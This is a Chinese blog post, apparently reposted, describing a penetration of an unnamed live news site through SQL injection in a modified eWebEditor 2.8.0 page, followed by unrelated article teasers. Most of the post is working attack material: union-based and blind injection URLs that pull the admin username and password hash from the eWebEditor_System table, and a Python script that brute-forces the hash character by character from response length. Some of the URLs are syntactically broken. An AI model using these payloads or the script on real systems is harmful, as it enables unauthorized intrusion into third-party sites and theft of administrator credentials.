某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」某网站后台是用的  蓝滨新闻系统精简加强版即如图:可见,后台是JSP+Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。根据这个系统的源代码,找这个系统的漏洞。manage/htmledit/eWebEditor.asp sSql="select*fromewebeditor_stylewheres_name=’"&sSty…

大家好,又见面了,我是你们的朋友全栈君。

某网站后台是用的   蓝滨新闻系统精简加强版 即如图:

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

可见,后台是JSP + Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。

根据这个系统的源代码,找这个系统的漏洞

manage/htmledit/eWebEditor.asp

	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0, 

可以看到,这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版

如果是纯粹的eWebEditor ,那么到这里 直接上工具就行了。但是这里是魔改过的,所以,传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access,激活成功教程就好麻烦啦。。

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System''

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)  union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union 
select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)



## 猜解出密码和用户名长度:16 根据程序可见,是纯MD5加密
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
true ;

## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

到这里,就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。

写个针对性Python进行注入穷举:

kn.py

#encoding:UTF-8
import requests
##定义 n:找ASCII码
n = 48
charNum = 1
allAscII = ""
while charNum<=16:
    while 1:
        url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System"
        r = requests.get(url)
        print("访问成功,正在访问第"+ str(charNum)+"个位置的码,尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text)))
        if len(r.text) > 400:
            print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码!为" + str(n))
            allAscII = allAscII + str(n) + ","
            break;
        n = n + 1
    charNum = charNum + 1
    n = 48
print(allAscII)
## 失败 长度少于400 (=317)
## 成功 长度大于400  (=12370)
## print(len(r.text))

运行:

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

获取了十六位的ASC II 码后,就可以根据这个表

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

进行转换,然后得到密码md5值

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159076.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • kettle中实现动态SQL查询

    kettle中实现动态SQL查询详细说明kettle中两者方式实现动态查询,分别是占位符和变量方式,示例使用H2数据库,方便学习。

    2022年6月23日
    208
  • 《MATLAB编程》例题-画分段函数图像

    《MATLAB编程》例题-画分段函数图像《MATLAB编程》例题解答:使用matlab画函数图像(使用if-else):租用一个交通工具前100公里1美元每公里,在下面的200公里中0.8美元每分钟,越过300公里的部分一律按0.7美元每公里.已知公里数,编写对应的MATLAB语句计算出总花销,和平均每公里的花销.解:1.写出函数表达式(自己化简得到)y1是行驶到第x公里的总花销y2是行驶到第x公里平均每公里的花销2.使用matlab画出函数图像(求出坐标点,连线)matlab代码如下://An

    2022年5月7日
    67
  • 大整数的加法运算_大整数相减

    大整数的加法运算_大整数相减问题:如果给出两个很大很大的整数,这两个数大到long类型也装不下,如何求他们的和呢?回顾起小学数学,当我们需要计算两个较大数目的加减乘除,我们是用列竖式的方式来计算的。因为对于较大的整数,我们无法一步就直接计算出结果,所以不得不把计算过程拆分成一个一个小步骤来完成。不仅仅是人脑,对于计算机来说也可以这样解决。程序不可能通过一条指令计算出两个大整数之和,却可以像列竖式一样将运算拆解成若干小…

    2022年4月19日
    102
  • pycharm中更新pip版本的问题「建议收藏」

    pycharm中更新pip版本的问题「建议收藏」经常使用Python的都知道pip,但有时候,下载某个模块不成功,提示信息如下pytharm查看自带的pip版本解决方式一:pytharm的terminal里卸载pip再安装pip如果还不行,解决方式二去你当前的项目路径下找到lib文件夹下的site-packages,删除相关的pip版本再去file——>settings查看自带pip版本的地方,…

    2022年8月29日
    7
  • java布隆过滤器解决redis缓存穿透_redis缓存怎么过滤数据

    java布隆过滤器解决redis缓存穿透_redis缓存怎么过滤数据1:业务场景引入1:需求①原本有10亿个号码,现在又来了10万个号码,要快速准确判断这10万个号码是否在10亿个号码库中?解决方案1:将10亿个号码存入数据库中,进行数据库查询,准确性有了,但是速度会比较慢。解决办法二:将10亿号码放入内存中,比如Redis缓存中,这里我们算一下占用内存大小:10亿*8字节=8GB,通过内存查询,准确性和速度都有了,但是大约8gb的内存空间,挺浪费内存空间的。2:需求②接触过爬虫的,应该有这么一个需求,需要爬虫的网站千千万万,对于一个新的网站url,

    2022年10月6日
    3
  • 博客群发软件–用 Windows Live Writer完美发布新浪、网易、blogcn、blogbus、cnbl

    博客群发软件–用 Windows Live Writer完美发布新浪、网易、blogcn、blogbus、cnbl前言:当今网络博客、微薄铺天盖地,相信即使一个普通的用户也都注册了很多家品牌的博客或者微薄等,那么困扰着大家一个很大的问题,同时在多家博客发布同样的内容,如果说只是简单的文字还好说,复制粘贴就完事了,但是如果里面包含着图片,那么使用复制粘贴是不可以的,因为诸多博客品牌之间图片是不能共享使用的。研究了一天,终于找到较为完美博客群发软件,那就是微软出品的…

    2022年7月13日
    32

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号